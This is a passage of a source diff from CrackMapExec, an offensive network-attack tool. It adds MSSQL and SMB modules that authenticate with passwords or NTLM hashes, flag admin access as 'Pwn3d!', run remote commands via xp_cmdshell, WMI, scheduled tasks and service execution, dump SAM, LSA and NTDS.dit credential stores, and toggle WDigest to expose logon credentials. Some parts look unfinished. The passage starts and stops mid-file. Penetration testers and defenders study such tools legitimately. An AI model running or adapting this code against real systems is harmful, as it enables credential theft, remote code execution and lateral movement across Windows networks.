cme.protocols.mssql.mssqlexec import MSSQLEXEC +from cme.connection import * +from cme.helpers.logger import highlight +from cme.helpers.powershell import create_ps_command +from impacket import tds +from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ + TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE + +class mssql(connection): + def __init__(self, args, db, host): + self.mssql_instances = None + self.domain = None + self.hash = None + + connection.__init__(self, args, db , host) + + @staticmethod + def proto_args(parser, std_parser, module_parser): + mssql_parser = parser.add_parser('mssql', help="Own stuff using MSSQL and/or Active Directory", parents=[std_parser, module_parser]) + dgroup = mssql_parser.add_mutually_exclusive_group() + dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") + dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') + mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') + mssql_parser.add_argument("--port", default=1433, type=int, dest='mssql_port', metavar='PORT', help='MSSQL port (default: 1433)') + mssql_parser.add_argument("-q", "--query", metavar='QUERY', type=str, help='Execute the specified query against the MSSQL DB') + mssql_parser.add_argument("-a", "--auth-type", dest='mssql_auth', choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') + + cgroup = mssql_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') + cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') + xgroup = cgroup.add_mutually_exclusive_group() + xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") + xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') + + return parser + + def proto_logger(self): + self.logger = CMEAdapter(extra={ + 'protocol': 'MSSQL', + 'host': self.host, + 'port': self.args.mssql_port, + 'hostname': u'{}'.format(self.hostname) + }) + + def enum_host_info(self): + + self.mssql_instances = self.conn.getInstances(10) + + if len(self.mssql_instances) > 0: + for i, instance in enumerate(self.mssql_instances): + for key in instance.keys(): + if key.lower() == 'servername': + self.hostname = instance[key] + break + + try: + self.conn.disconnect() + except: + pass + + if self.args.domain: + self.domain = self.args.domain + + if self.args.local_auth: + self.domain = self.hostname + + self.create_conn_obj() + + def print_host_info(self): + if len(self.mssql_instances) > 0: + self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances))) + for i, instance in enumerate(self.mssql_instances): + self.logger.highlight("Instance {}".format(i)) + for key in instance.keys(): + self.logger.highlight(key + ":" + instance[key]) + + def create_conn_obj(self): + try: + self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) + self.conn.connect() + except socket.error: + return False + + return True + + def check_if_admin(self): + try: + #I'm pretty sure there has to be a better way of doing this. + #Currently we are just searching for our user in the sysadmin group + + self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") + query_output = self.conn.printRows() + if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: + self.admin_privs = True + except: + return False + + return True + + def plaintext_login(self, domain, username, password): + res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) + if res is not True: + self.conn.printReplies() + return False + + self.password = password + self.username = username + self.domain = domain + self.check_if_admin() + self.db.add_credential('plaintext', domain, username, password) + + if self.admin_privs: + self.db.link_cred_to_host('plaintext', domain, username, password, self.host) + + out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + password.decode('utf-8'), + highlight('(Pwn3d!)') if self.admin_privs else '') + + self.logger.success(out) + + return True + + def hash_login(self, domain, username, ntlm_hash): + lmhash = '' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + + res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) + if res is not True: + self.conn.printReplies() + return False + + self.hash = ntlm_hash + self.username = username + self.domain = domain + self.check_if_admin() + self.db.add_credential('hash', domain, username, ntlm_hash) + + if self.admin_privs: + self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) + + out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + ntlm_hash, + highlight('(Pwn3d!)') if self.admin_privs else '') + + self.logger.success(out) + + return True + + def mssql_query(self): + self.conn.sql_query(self.args.mssql_query) + return conn.printRows() + + @requires_admin + def execute(self, payload=None, get_output=False): + if not payload and self.args.execute: + payload = self.args.execute + if not self.args.no_output: get_output = True + + exec_method = MSSQLEXEC(self.conn) + logging.debug('Executed command via mssqlexec') + + if self.cmeserver: self.cmeserver.track_host(self.host) + + output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) + + if self.args.execute or self.args.ps_execute: + self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) + buf = StringIO(output).readlines() + for line in buf: + self.logger.highlight(line.strip()) + + return output + + @requires_admin + def ps_execute(self, payload=None, get_output=False): + if not payload and self.args.ps_execute: + payload = self.args.ps_execute + if not self.args.no_output: get_output = True + + return self.execute(create_ps_command(payload), get_output) + +#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout +#The whole tds library in impacket needs a good overhaul to preserve my sanity + +def printRowsCME(self): + if self.lastError is True: + return + out = '' + self.processColMeta() + #self.printColumnsHeader() + for row in self.rows: + for col in self.colMeta: + if row[col['Name']] != 'NULL': + out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n' + + return out + +def printRepliesCME(self): + for keys in self.replies.keys(): + for i, key in enumerate(self.replies[keys]): + if key['TokenType'] == TDS_ERROR_TOKEN: + error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) + self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) + self._MSSQL__rowsPrinter.error(error) + + elif key['TokenType'] == TDS_INFO_TOKEN: + self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) + + elif key['TokenType'] == TDS_LOGINACK_TOKEN: + self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) + + elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: + if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): + record = TDS_ENVCHANGE_VARCHAR(key['Data']) + if record['OldValue'] == '': + record['OldValue'] = 'None'.encode('utf-16le') + elif record['NewValue'] == '': + record['NewValue'] = 'None'.encode('utf-16le') + if key['Type'] == TDS_ENVCHANGE_DATABASE: + _type = 'DATABASE' + elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: + _type = 'LANGUAGE' + elif key['Type'] == TDS_ENVCHANGE_CHARSET: + _type = 'CHARSET' + elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: + _type = 'PACKETSIZE' + else: + _type = "%d" % key['Type'] + self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) + +tds.MSSQL.printReplies = printRepliesCME +tds.MSSQL.printRows = printRowsCME diff --git a/cme/protocols/mssql/__init__.py b/cme/protocols/mssql/__init__.py new file mode 100755 index 00000000..e69de29b diff --git a/cme/database.py b/cme/protocols/mssql/database.py old mode 100644 new mode 100755 similarity index 83% rename from cme/database.py rename to cme/protocols/mssql/database.py index 407aff95..08409d68 --- a/cme/database.py +++ b/cme/protocols/mssql/database.py @@ -1,8 +1,34 @@ -class CMEDatabase: +class database: def __init__(self, conn): self.conn = conn + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "hosts" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "domain" text, + "os" text + )''') + + #This table keeps track of which credential has admin access over which machine and vice-versa + db_conn.execute('''CREATE TABLE "links" ( + "id" integer PRIMARY KEY, + "credid" integer, + "hostid" integer + )''') + + # type = hash, plaintext + db_conn.execute('''CREATE TABLE "credentials" ( + "id" integer PRIMARY KEY, + "credtype" text, + "domain" text, + "username" text, + "password" text + )''') + def add_host(self, ip, hostname, domain, os): """ Check if this host has already been added to the database, if not add it in. @@ -17,7 +43,7 @@ class CMEDatabase: cur.close() - def add_credential(self, credtype, domain, username, password, pillaged_from=-1): + def add_credential(self, credtype, domain, username, password): """ Check if this credential has already been added to the database, if not add it in. """ @@ -27,7 +53,7 @@ class CMEDatabase: results = cur.fetchall() if not len(results): - cur.execute("INSERT INTO credentials (credtype, domain, username, password, pillagedfrom) VALUES (?,?,?,?,?)", [credtype, domain, username, password, pillaged_from] ) + cur.execute("INSERT INTO credentials (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password] ) cur.close() @@ -70,7 +96,7 @@ class CMEDatabase: if credID: cur.execute("SELECT * from links WHERE credid=?", [credID]) - + elif hostID: cur.execute("SELECT * from links WHERE hostid=?", [hostID]) @@ -85,7 +111,7 @@ class CMEDatabase: if credIDs: for credID in credIDs: cur.execute("DELETE FROM links WHERE credid=?", [credID]) - + elif hostIDs: for hostID in hostIDs: cur.execute("DELETE FROM links WHERE hostid=?", [hostID]) @@ -121,7 +147,7 @@ class CMEDatabase: elif filterTerm and filterTerm != "": cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())]) - # otherwise return all credentials + # otherwise return all credentials else: cur.execute("SELECT * FROM credentials") @@ -154,10 +180,10 @@ class CMEDatabase: elif filterTerm and filterTerm != "": cur.execute("SELECT * FROM hosts WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())]) - # otherwise return all credentials + # otherwise return all credentials else: cur.execute("SELECT * FROM hosts") results = cur.fetchall() cur.close() - return results \ No newline at end of file + return results diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py new file mode 100644 index 00000000..118faf0b --- /dev/null +++ b/cme/protocols/mssql/db_navigator.py @@ -0,0 +1,231 @@ +import cmd +from cme.protocols.mssql.database import database + +class navigator(cmd.Cmd): + def __init__(self, main_menu): + cmd.Cmd.__init__(self) + + self.main_menu = main_menu + self.config = main_menu.config + self.db = database(main_menu.conn) + self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'mssql') + + def do_back(self, line): + raise + + def display_creds(self, creds): + + print "\nCredentials:\n" + print " CredID Admin On CredType Domain UserName Password" + print " ------ -------- -------- ------ -------- --------" + + for cred in creds: + # (id, credtype, domain, username, password, host, notes, sid) + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + links = self.db.get_links(credID=credID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), + '{:<13}'.format(str(len(links)) + ' Host(s)'), + '{:<12}'.format(credType), + u'{:<17}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8'))) + + print "" + + def display_hosts(self, hosts): + + print "\nHosts:\n" + print " HostID Admins IP Hostname Domain OS" + print " ------ ------ -- -------- ------ --" + + for host in hosts: + # (id, ip, hostname, domain, os) + hostID = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + links = self.db.get_links(hostID=hostID) + + print u" {}{}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<15}'.format(str(len(links)) + ' Cred(s)'), + '{:<17}'.format(ip), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + def do_hosts(self, line): + + filterTerm = line.strip() + + if filterTerm == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + + else: + hosts = self.db.get_hosts(filterTerm=filterTerm) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + print "\nHost(s):\n" + print " HostID IP Hostname Domain OS" + print " ------ -- -------- ------ --" + + hostIDList = [] + + for host in hosts: + hostID = host[0] + hostIDList.append(hostID) + + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<17}'.format(ip), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + print "\nCredential(s) with Admin Access:\n" + print " CredID CredType Domain UserName Password" + print " ------ -------- ------ -------- --------" + + for hostID in hostIDList: + links = self.db.get_links(hostID=hostID) + + for link in links: + linkID, credID, hostID = link + creds = self.db.get_credentials(filterTerm=credID) + + for cred in creds: + credID = cred[0] + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(credID), + '{:<12}'.format(credType), + u'{:<17}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8'))) + + print "" + + def do_creds(self, line): + + filterTerm = line.strip() + + if filterTerm == "": + creds = self.db.get_credentials() + self.display_creds(creds) + + elif filterTerm.split()[0].lower() == "add": + + # add format: "domain username password + args = filterTerm.split()[1:] + + if len(args) == 3: + domain, username, password = args + if validate_ntlm(password): + self.db.add_credential("hash", domain, username, password) + else: + self.db.add_credential("plaintext", domain, username, password) + + else: + print "[!] Format is 'add domain username password" + return + + elif filterTerm.split()[0].lower() == "remove": + + args = filterTerm.split()[1:] + if len(args) != 1 : + print "[!] Format is 'remove '" + return + else: + self.db.remove_credentials(args) + self.db.remove_links(credIDs=args) + + elif filterTerm.split()[0].lower() == "plaintext": + creds = self.db.get_credentials(credtype="plaintext") + self.display_creds(creds) + + elif filterTerm.split()[0].lower() == "hash": + creds = self.db.get_credentials(credtype="hash") + self.display_creds(creds) + + else: + creds = self.db.get_credentials(filterTerm=filterTerm) + + print "\nCredential(s):\n" + print " CredID CredType Domain UserName Password" + print " ------ -------- ------ -------- --------" + + credIDList = [] + + for cred in creds: + credID = cred[0] + credIDList.append(credID) + + credType = cred[1] + domain = cred[2] + username = cred[3] + password = cred[4] + + print u" {}{}{}{}{}{}".format('{:<8}'.format(credID), + '{:<12}'.format(credType), + u'{:<22}'.format(domain.decode('utf-8')), + u'{:<21}'.format(username.decode('utf-8')), + u'{:<17}'.format(password.decode('utf-8')) + ) + + print "" + + print "\nAdmin Access to Host(s):\n" + print " HostID IP Hostname Domain OS" + print " ------ -- -------- ------ --" + + for credID in credIDList: + links = self.db.get_links(credID=credID) + + for link in links: + linkID, credID, hostID = link + hosts = self.db.get_hosts(hostID) + + for host in hosts: + hostID = host[0] + ip = host[1] + hostname = host[2] + domain = host[3] + os = host[4] + + print u" {}{}{}{}{}".format('{:<8}'.format(hostID), + '{:<17}'.format(ip), + u'{:<25}'.format(hostname.decode('utf-8')), + u'{:<17}'.format(domain.decode('utf-8')), + '{:<17}'.format(os)) + + print "" + + def complete_creds(self, text, line, begidx, endidx): + "Tab-complete 'creds' commands." + + commands = [ "add", "remove", "hash", "plaintext"] + + mline = line.partition(' ')[2] + offs = len(mline) - len(text) + return [s[offs:] for s in commands if s.startswith(mline)] diff --git a/cme/execmethods/mssqlexec.py b/cme/protocols/mssql/mssqlexec.py old mode 100644 new mode 100755 similarity index 100% rename from cme/execmethods/mssqlexec.py rename to cme/protocols/mssql/mssqlexec.py diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py new file mode 100755 index 00000000..a17c3760 --- /dev/null +++ b/cme/protocols/smb.py @@ -0,0 +1,489 @@ +import socket +import os +import ntpath +from cme.logger import CMEAdapter +from StringIO import StringIO +from impacket.smbconnection import SMBConnection, SessionError +from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes +from impacket.nmb import NetBIOSError +from impacket.dcerpc.v5.rpcrt import DCERPCException +from cme.connection import * +from cme.protocols.smb.wmiexec import WMIEXEC +from cme.protocols.smb.atexec import TSCH_EXEC +from cme.protocols.smb.smbexec import SMBEXEC +from cme.protocols.smb.smbspider import SMBSpider +from cme.helpers.logger import highlight +from cme.helpers.misc import gen_random_string +from cme.helpers.powershell import create_ps_command +from pywerview.cli.helpers import * +from datetime import datetime + +class smb(connection): + + def __init__(self, args, db, host): + self.domain = None + self.server_os = None + self.hash = None + self.lmhash = '' + self.nthash = '' + self.remote_ops = None + self.bootkey = None + self.output_filename = None + + connection.__init__(self, args, db, host) + + @staticmethod + def proto_args(parser, std_parser, module_parser): + smb_parser = parser.add_parser('smb', help="Own stuff using SMB and/or Active Directory", parents=[std_parser, module_parser]) + smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') + dgroup = smb_parser.add_mutually_exclusive_group() + dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") + dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') + smb_parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") + smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)") + + cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") + cgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') + cgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') + cgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") + #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') + #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') + cgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") + + egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") + egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access") + egroup.add_argument('--uac', action='store_true', help='Checks UAC status') + egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions') + egroup.add_argument('--disks', action='store_true', help='Enumerate disks') + egroup.add_argument("--users", action='store_true', help='Enumerate local users') + egroup.add_argument("--groups", action='store_true', help='Enumerate local groups') + egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)') + egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy') + egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users') + egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query') + egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') + + sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares") + sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') + sgroup.add_argument("--content", action='store_true', help='Enable file content searching') + sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering') + segroup = sgroup.add_mutually_exclusive_group() + segroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content') + segroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content') + sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') + + cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") + cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') + cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') + cegroup = cgroup.add_mutually_exclusive_group() + cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") + cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') + + return parser + + def proto_logger(self): + self.logger = CMEAdapter(extra={ + 'protocol': 'SMB', + 'host': self.host, + 'port': self.args.smb_port, + 'hostname': u'{}'.format(self.hostname) + }) + + def enum_host_info(self): + #Get the remote ip address (in case the target is a hostname) + self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + remote_ip = self.conn.getRemoteHost() + + try: + self.conn.login('' , '') + except SessionError as e: + if "STATUS_ACCESS_DENIED" in e.message: + pass + + self.host = remote_ip + self.domain = self.conn.getServerDomain() + self.hostname = self.conn.getServerName() + self.server_os = self.conn.getServerOS() + + self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) + + if not self.domain: + self.domain = self.hostname + + self.db.add_host(self.host, self.hostname, self.domain, self.server_os) + + try: + ''' + DC's seem to want us to logoff first, windows workstations sometimes reset the connection + (go home Windows, you're drunk) + ''' + self.conn.logoff() + except: + pass + + if self.args.domain: + self.domain = self.args.domain + + if self.args.local_auth: + self.domain = self.hostname + + #Re-connect since we logged off + self.create_conn_obj() + + def print_host_info(self): + self.logger.info(u"{} (name:{}) (domain:{})".format( + self.server_os, + self.hostname.decode('utf-8'), + self.domain.decode('utf-8') + )) + def plaintext_login(self, domain, username, password): + try: + self.conn.login(username, password, domain) + + self.password = password + self.username = username + self.domain = domain + self.check_if_admin() + self.db.add_credential('plaintext', domain, username, password) + + if self.admin_privs: + self.db.link_cred_to_host('plaintext', domain, username, password, self.host) + + out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + password.decode('utf-8'), + highlight('(Pwn3d!)') if self.admin_privs else '') + + self.logger.success(out) + return True + except SessionError as e: + error, desc = e.getErrorString() + self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + password.decode('utf-8'), + error, + '({})'.format(desc) if self.args.verbose else '')) + + if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) + + return False + + def hash_login(self, domain, username, ntlm_hash): + lmhash = '' + nthash = '' + + #This checks to see if we didn't provide the LM Hash + if ntlm_hash.find(':') != -1: + lmhash, nthash = ntlm_hash.split(':') + else: + nthash = ntlm_hash + + try: + self.conn.login(username, '', domain, lmhash, nthash) + + self.hash = ntlm_hash + self.username = username + self.domain = domain + self.check_if_admin() + self.db.add_credential('hash', domain, username, ntlm_hash) + + if self.admin_privs: + self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) + + out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + ntlm_hash, + highlight('(Pwn3d!)') if self.admin_privs else '') + + self.logger.success(out) + return True + except SessionError as e: + error, desc = e.getErrorString() + self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), + username.decode('utf-8'), + ntlm_hash, + error, + '({})'.format(desc) if self.args.verbose else '')) + + if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) + + return False + + def create_conn_obj(self): + try: + self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) + except socket.error: + return False + + return True + + def check_if_admin(self): + lmhash = '' + nthash = '' + + if self.hash: + if self.hash.find(':') != -1: + lmhash, nthash = self.hash.split(':') + else: + nthash = self.hash + + self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash) + + @requires_admin + def execute(self, payload=None, get_output=False, methods=None): + + if self.args.exec_method: methods = [self.args.exec_method] + if not methods : methods = ['wmiexec', 'atexec', 'smbexec'] + + if not payload and self.args.execute: + payload = self.args.execute + if not self.args.no_output: get_output = True + + for method in methods: + + if method == 'wmiexec': + try: + exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) + logging.debug('Executed command via wmiexec') + break + except: + logging.debug('Error executing command via wmiexec, traceback:') + logging.debug(format_exc()) + continue + + elif method == 'atexec': + try: + exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.hash) #self.args.share) + logging.debug('Executed command via atexec') + break + except: + logging.debug('Error executing command via atexec, traceback:') + logging.debug(format_exc()) + continue + + elif method == 'smbexec': + try: + exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) + logging.debug('Executed command via smbexec') + break + except: + logging.debug('Error executing command via smbexec, traceback:') + logging.debug(format_exc()) + continue + + if hasattr(self, 'server'): self.server.track_host(self.host) + + output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) + + if self.args.execute or self.args.ps_execute: + self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) + buf = StringIO(output).readlines() + for line in buf: + self.logger.highlight(line.strip()) + + return output + + @requires_admin + def ps_execute(self, payload=None, get_output=False, methods=None): + if not payload and self.args.ps_execute: + payload = self.args.ps_execute + if not self.args.no_output: get_output = True + + return self.execute(create_ps_command(payload), get_output, methods) + + def shares(self): + temp_dir = ntpath.normpath("\\" + gen_random_string()) + #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0] + permissions = [] + + try: + for share in self.conn.listShares(): + share_name = share['shi1_netname'][:-1] + share_remark = share['shi1_remark'][:-1] + share_info = {'name': share_name, 'remark': share_remark, 'access': []} + read = False + write = False + + try: + self.conn.listPath(share_name, '*') + read = True + share_info['access'].append('READ') + except SessionError: + pass + + try: + self.conn.createDirectory(share_name, temp_dir) + self.conn.deleteDirectory(share_name, temp_dir) + write = True + share_info['access'].append('WRITE') + except SessionError: + pass + + permissions.append(share_info) + #self.db.add_share(hostid, share_name, share_remark, read, write) + + print permissions + + except Exception as e: + self.logger.error('Error enumerating shares: {}'.format(e)) + + #@requires_admin + #def uac(self): + # return UAC(self).enum() + + def sessions(self): + sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + print sessions + + def disks(self): + disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + print disks + + def groups(self): + groups = get_netlocalgroup(self.host, None, self.domain, self.username, self.password, self.lmhash, self.nthash, queried_groupname='', list_groups=True, recurse=False) + print groups + + #def users(self): + # return SAMRDump(self).enum() + + #def rid_brute(self): + # return LSALookupSid(self).brute_force() + + #def pass_pol(self): + # return PassPolDump(self).enum() + + def lusers(self): + lusers = get_netloggedon(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + print lusers + + #@requires_admin + #def wmi(self, wmi_query=None, wmi_namespace='//./root/cimv2'): + + # if self.args.wmi_namespace: + # wmi_namespace = self.args.wmi_namespace + + # if not wmi_query and self.args.wmi: + # wmi_query = self.args.wmi + + # return WMIQUERY(self).query(wmi_query, wmi_namespace) + + #def spider(self): + # spider = SMBSpider(self) + # spider.spider(self.args.spider, self.args.depth) + # spider.finish() + + # return spider.results + + def enable_remoteops(self): + if self.remote_ops is not None and self.bootkey is not None: + return + + try: + self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost + self.remote_ops.enableRegistry() + self.bootkey = self.remote_ops.getBootKey() + except Exception as e: + self.logger.error('RemoteOperations failed: {}'.format(e)) + + @requires_admin + def sam(self): + self.enable_remoteops() + + if self.remote_ops and self.bootkey: + try: + SAMFileName = self.remote_ops.saveSAM() + SAMHashes = SAMHashes(SAMFileName, self.bootkey, isRemote=True) + + self.logger.success('Dumping SAM hashes') + SAMHashes.dump() + SAMHashes.export(self.output_filename) + + sam_hashes = 0 + with open(self.output_filename + '.sam' , 'r') as sam_file: + for sam_hash in sam_file: + #parse this shizzle here + ntlm_hash = '' + self.db.add_credential('hash', self.domain, self.username, ntlm_hash, pillaged_from=self.host, local=True) + sam_hashes += 1 + self.logger.success('Added {} SAM hashes to the database'.format(highlight(sam_hashes))) + + except Exception as e: + self.logger.error('SAM hashes extraction failed: {}'.format(e)) + + self.remote_ops.finish() + SAMHashes.finish() + + @requires_admin + def lsa(self): + self.enable_remoteops() + + if self.remote_ops and self.bootkey: + try: + SECURITYFileName = self.remote_ops.saveSECURITY() + + LSASecrets = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True) + + self.logger.success('Dumping LSA secrets') + LSASecrets.dumpCachedHashes() + LSASecrets.exportCached(self.output_filename) + LSASecrets.dumpSecrets() + LSASecrets.exportSecrets(self.output_filename) + + secrets = 0 + with open(self.output_filename + '.lsa' , 'r') as lsa_file: + for secret in lsa_file: + #parse this shizzle here + self.db.add_credential('lsa', self.domain, self.username, secret, pillaged_from=self.host, local=True) + secrets += 1 + self.logger.success('Added {} LSA secrets to the database'.format(highlight(secrets))) + + except Exception as e: + self.logger.error('LSA hashes extraction failed: {}'.format(e)) + + self.remote_ops.finish() + LSASecrets.finish() + + @requires_admin + def ntds(self): + self.enable_remoteops() + + if self.remote_ops and self.bootkey: + try: + NTDSFileName = self.remote_ops.saveNTDS() + + NTDSHashes = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=self.__history, + noLMHash=self.__noLMHash, 